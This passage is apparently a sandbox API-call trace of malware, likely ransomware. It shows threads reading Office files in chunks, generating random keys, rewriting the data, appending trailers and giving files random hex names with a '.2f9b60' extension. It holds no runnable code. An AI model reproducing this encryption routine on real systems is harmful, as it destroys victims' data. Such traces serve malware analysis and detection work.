(in: _Dest=0x431adcca, _Format="%c%c" | out: _Dest="0c") returned 2 [0218.942] RtlInitAnsiString (in: DestinationString=0x32acf7e8, SourceString="0a3a86769bdd0c68c1ec609567bb7c9bf6135f1d520c" | out: DestinationString="0a3a86769bdd0c68c1ec609567bb7c9bf6135f1d520c") [0218.942] RtlAnsiStringToUnicodeString (in: DestinationString=0x32acf7b8, SourceString="0a3a86769bdd0c68c1ec609567bb7c9bf6135f1d520c", AllocateDestinationString=1 | out: DestinationString="0a3a86769bdd0c68c1ec609567bb7c9bf6135f1d520c") returned 0x0 [0218.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x43105360 [0218.943] wcscat (in: _Dest=0x202af190, _Source="0a3a86769bd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\0a3a86769bd") returned="C:\\Program Files\\Microsoft Office\\Office14\\0a3a86769bd" [0218.943] wcscat (in: _Dest=0x202af190, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\0a3a86769bd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\0a3a86769bd.2f9b60" [0218.943] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\0a3a86769bd.2f9b60", NtPathName=0x32acf790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\0a3a86769bd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x4315e880 Thread: id = 2576 os_tid = 0x20ac [0155.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml")) returned 0x20 [0155.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML", dwFileAttributes=0x20) returned 1 [0155.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x154c [0155.901] GetFileSizeEx (in: hFile=0x154c, lpFileSize=0x32c1f9c0 | out: lpFileSize=0x32c1f9c0*=79236) returned 1 [0155.901] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0x13580, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.901] ReadFile (in: hFile=0x154c, lpBuffer=0x32c1f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x32c1f988, lpOverlapped=0x0 | out: lpBuffer=0x32c1f940*, lpNumberOfBytesRead=0x32c1f988*=0x4, lpOverlapped=0x0) returned 1 [0155.902] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb720 [0155.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb7e0 [0155.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb870 [0155.904] NtQuerySystemTime (in: CurrentTime=0x32c1f880 | out: CurrentTime=0x32c1f880*=132462177610306000) returned 0x0 [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x3afe7906 [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x253b8c5a [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x326fdc3d [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x261a60ba [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x674b9842 [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x933bc65 [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x3a489e1c [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x243056aa [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x4e72b2e0 [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x2fe4133f [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x4a70f5e7 [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x67552510 [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x7bae6169 [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x72b09a9 [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x3189d3a1 [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x4d2db37f [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x36ad5fc2 [0155.904] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x1afb7fc3 [0155.905] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x2b7b777 [0155.905] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x30de70a1 [0155.905] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x7084369e [0155.905] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x15db38ce [0155.905] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x72258b87 [0155.905] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x40345b72 [0155.905] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x105c146b [0155.905] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x728c22e6 [0155.905] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x27bd3f0c [0155.905] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x47fc3486 [0155.905] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x3498f884 [0155.905] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x5c0a3261 [0155.905] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x3ad44fb1 [0155.905] RtlRandomEx (in: Seed=0x32c1f870 | out: Seed=0x32c1f870) returned 0x64700589 [0155.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb8a0 [0155.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce245a0 [0155.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb8d0 [0155.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce245a0) returned 1 [0155.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb870) returned 1 [0155.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb720) returned 1 [0155.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4299ea60 [0155.918] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.918] ReadFile (in: hFile=0x154c, lpBuffer=0x4299ea60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32c1f8e0, lpOverlapped=0x0 | out: lpBuffer=0x4299ea60*, lpNumberOfBytesRead=0x32c1f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0156.081] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce189b0 [0156.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24720 [0156.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb930 [0156.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb930) returned 1 [0156.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429d3630 [0156.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb930 [0156.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbcc0 [0156.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbcc0) returned 1 [0156.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24720) returned 1 [0156.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce189b0) returned 1 [0156.084] WriteFile (hFile=0x154c, lpBuffer=0x429d3630, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32c1f8e0, lpOverlapped=0x0) [0186.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429d3630) returned 1 [0186.759] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.759] ReadFile (in: hFile=0x154c, lpBuffer=0x4299ea60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32c1f8e0, lpOverlapped=0x0 | out: lpBuffer=0x4299ea60*, lpNumberOfBytesRead=0x32c1f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.628] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138f50 [0190.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138f50) returned 1 [0190.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4299ae50 [0190.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138f50 [0190.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138f80 [0190.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138f80) returned 1 [0190.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.632] WriteFile (in: hFile=0x154c, lpBuffer=0x4299ae50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32c1f8e0, lpOverlapped=0x0 | out: lpBuffer=0x4299ae50*, lpNumberOfBytesWritten=0x32c1f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4299ae50) returned 1 [0205.614] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0xf984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.614] ReadFile (in: hFile=0x154c, lpBuffer=0x4299ea60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32c1f8e0, lpOverlapped=0x0 | out: lpBuffer=0x4299ea60*, lpNumberOfBytesRead=0x32c1f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.615] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0xf984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b790 [0205.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b790) returned 1 [0205.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4299ae50 [0205.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b790 [0205.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0205.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0205.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.619] WriteFile (in: hFile=0x154c, lpBuffer=0x4299ae50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32c1f8e0, lpOverlapped=0x0 | out: lpBuffer=0x4299ae50*, lpNumberOfBytesWritten=0x32c1f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4299ae50) returned 1 [0205.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a04e0 [0205.621] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.621] WriteFile (in: hFile=0x154c, lpBuffer=0x134680*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x32c1f990, lpOverlapped=0x0 | out: lpBuffer=0x134680*, lpNumberOfBytesWritten=0x32c1f990*=0x14a, lpOverlapped=0x0) returned 1 [0208.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0208.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb360 [0208.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb210 [0208.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb210) returned 1 [0208.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d520 [0208.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb210 [0208.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb1e0 [0208.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb1e0) returned 1 [0208.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb360) returned 1 [0208.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0208.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ac9e0 [0208.979] sprintf (in: _Dest=0x431ac9e0, _Format="%c%c" | out: _Dest="26") returned 2 [0208.979] sprintf (in: _Dest=0x431ac9e2, _Format="%c%c" | out: _Dest="0e") returned 2 [0208.979] sprintf (in: _Dest=0x431ac9e4, _Format="%c%c" | out: _Dest="80") returned 2 [0208.979] sprintf (in: _Dest=0x431ac9e6, _Format="%c%c" | out: _Dest="0f") returned 2 [0208.979] sprintf (in: _Dest=0x431ac9e8, _Format="%c%c" | out: _Dest="3f") returned 2 [0208.979] sprintf (in: _Dest=0x431ac9ea, _Format="%c%c" | out: _Dest="6c") returned 2 [0208.979] sprintf (in: _Dest=0x431ac9ec, _Format="%c%c" | out: _Dest="18") returned 2 [0208.979] sprintf (in: _Dest=0x431ac9ee, _Format="%c%c" | out: _Dest="eb") returned 2 [0208.980] sprintf (in: _Dest=0x431ac9f0, _Format="%c%c" | out: _Dest="cb") returned 2 [0208.980] sprintf (in: _Dest=0x431ac9f2, _Format="%c%c" | out: _Dest="e4") returned 2 [0208.980] sprintf (in: _Dest=0x431ac9f4, _Format="%c%c" | out: _Dest="91") returned 2 [0208.980] sprintf (in: _Dest=0x431ac9f6, _Format="%c%c" | out: _Dest="ad") returned 2 [0208.980] sprintf (in: _Dest=0x431ac9f8, _Format="%c%c" | out: _Dest="14") returned 2 [0208.980] sprintf (in: _Dest=0x431ac9fa, _Format="%c%c" | out: _Dest="4e") returned 2 [0208.980] sprintf (in: _Dest=0x431ac9fc, _Format="%c%c" | out: _Dest="be") returned 2 [0208.980] sprintf (in: _Dest=0x431ac9fe, _Format="%c%c" | out: _Dest="c6") returned 2 [0208.980] sprintf (in: _Dest=0x431aca00, _Format="%c%c" | out: _Dest="58") returned 2 [0208.980] sprintf (in: _Dest=0x431aca02, _Format="%c%c" | out: _Dest="78") returned 2 [0208.980] sprintf (in: _Dest=0x431aca04, _Format="%c%c" | out: _Dest="74") returned 2 [0208.980] sprintf (in: _Dest=0x431aca06, _Format="%c%c" | out: _Dest="00") returned 2 [0208.980] sprintf (in: _Dest=0x431aca08, _Format="%c%c" | out: _Dest="bb") returned 2 [0208.980] sprintf (in: _Dest=0x431aca0a, _Format="%c%c" | out: _Dest="e1") returned 2 [0208.980] sprintf (in: _Dest=0x431aca0c, _Format="%c%c" | out: _Dest="64") returned 2 [0208.980] sprintf (in: _Dest=0x431aca0e, _Format="%c%c" | out: _Dest="03") returned 2 [0208.980] RtlInitAnsiString (in: DestinationString=0x32c1fa08, SourceString="260e800f3f6c18ebcbe491ad144ebec658787400bbe16403" | out: DestinationString="260e800f3f6c18ebcbe491ad144ebec658787400bbe16403") [0208.980] RtlAnsiStringToUnicodeString (in: DestinationString=0x32c1f9d8, SourceString="260e800f3f6c18ebcbe491ad144ebec658787400bbe16403", AllocateDestinationString=1 | out: DestinationString="260e800f3f6c18ebcbe491ad144ebec658787400bbe16403") returned 0x0 [0208.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x431a0390 [0208.981] wcscat (in: _Dest=0x431a1ad0, _Source="260e800f3f6c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\260e800f3f6c") returned="C:\\Program Files\\Microsoft Office\\Office14\\260e800f3f6c" [0208.981] wcscat (in: _Dest=0x431a1ad0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\260e800f3f6c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\260e800f3f6c.2f9b60" [0208.981] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\260e800f3f6c.2f9b60", NtPathName=0x32c1f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\260e800f3f6c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431ec090 Thread: id = 2577 os_tid = 0x20b0 [0155.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml")) returned 0x20 [0155.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML", dwFileAttributes=0x20) returned 1 [0155.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11e4 [0155.922] GetFileSizeEx (in: hFile=0x11e4, lpFileSize=0x3274fac0 | out: lpFileSize=0x3274fac0*=79748) returned 1 [0155.922] SetFilePointerEx (in: hFile=0x11e4, liDistanceToMove=0x13780, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.922] ReadFile (in: hFile=0x11e4, lpBuffer=0x3274fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3274fa88, lpOverlapped=0x0 | out: lpBuffer=0x3274fa40*, lpNumberOfBytesRead=0x3274fa88*=0x4, lpOverlapped=0x0) returned 1 [0155.999] SetFilePointerEx (in: hFile=0x11e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb930 [0155.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb9f0 [0155.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddba80 [0155.999] NtQuerySystemTime (in: CurrentTime=0x3274f980 | out: CurrentTime=0x3274f980*=132462177611242000) returned 0x0 [0155.999] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x2572c2eb [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x14289e39 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x34b190e6 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0xe5121d9 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x3cec02f2 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x3684453 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x6b064038 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x2c2ee2e1 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x3629f57 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x53feaf3f [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x6d08b4ba [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x35c24e44 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x410f53b [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x2f52ba7e [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x60ab3498 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x3caf4b11 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x6a16fabc [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x3b6ef022 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x71b1b137 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x1f5da642 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x1d7f9e21 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x77849bf8 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x2e5f7fe4 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x3bacb889 [0156.000] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x2be7573e [0156.001] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x2fa72e9a [0156.001] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x683f5588 [0156.001] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x2fdd5c21 [0156.001] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x3b40297c [0156.001] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x717cc60f [0156.001] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0x4b7d9537 [0156.001] RtlRandomEx (in: Seed=0x3274f970 | out: Seed=0x3274f970) returned 0xf074a51 [0156.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbab0 [0156.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce245a0 [0156.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbae0 [0156.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce245a0) returned 1 [0156.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddba80) returned 1 [0156.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb930) returned 1 [0156.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429b52c0 [0156.014] SetFilePointerEx (in: hFile=0x11e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.014] ReadFile (in: hFile=0x11e4, lpBuffer=0x429b52c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3274f9e0, lpOverlapped=0x0 | out: lpBuffer=0x429b52c0*, lpNumberOfBytesRead=0x3274f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0156.321] SetFilePointerEx (in: hFile=0x11e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18b40 [0156.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce249a0 [0156.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc020 [0156.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc020) returned 1 [0156.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a13630 [0156.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc020 [0156.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc200 [0156.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc200) returned 1 [0156.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce249a0) returned 1 [0156.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18b40) returned 1 [0156.323] WriteFile (hFile=0x11e4, lpBuffer=0x42a13630, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3274f9e0, lpOverlapped=0x0) [0186.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a13630) returned 1 [0186.446] SetFilePointerEx (in: hFile=0x11e4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.446] ReadFile (in: hFile=0x11e4, lpBuffer=0x429b52c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3274f9e0, lpOverlapped=0x0 | out: lpBuffer=0x429b52c0*, lpNumberOfBytesRead=0x3274f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.252] SetFilePointerEx (in: hFile=0x11e4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0187.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbd80 [0187.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbd80) returned 1 [0187.254] 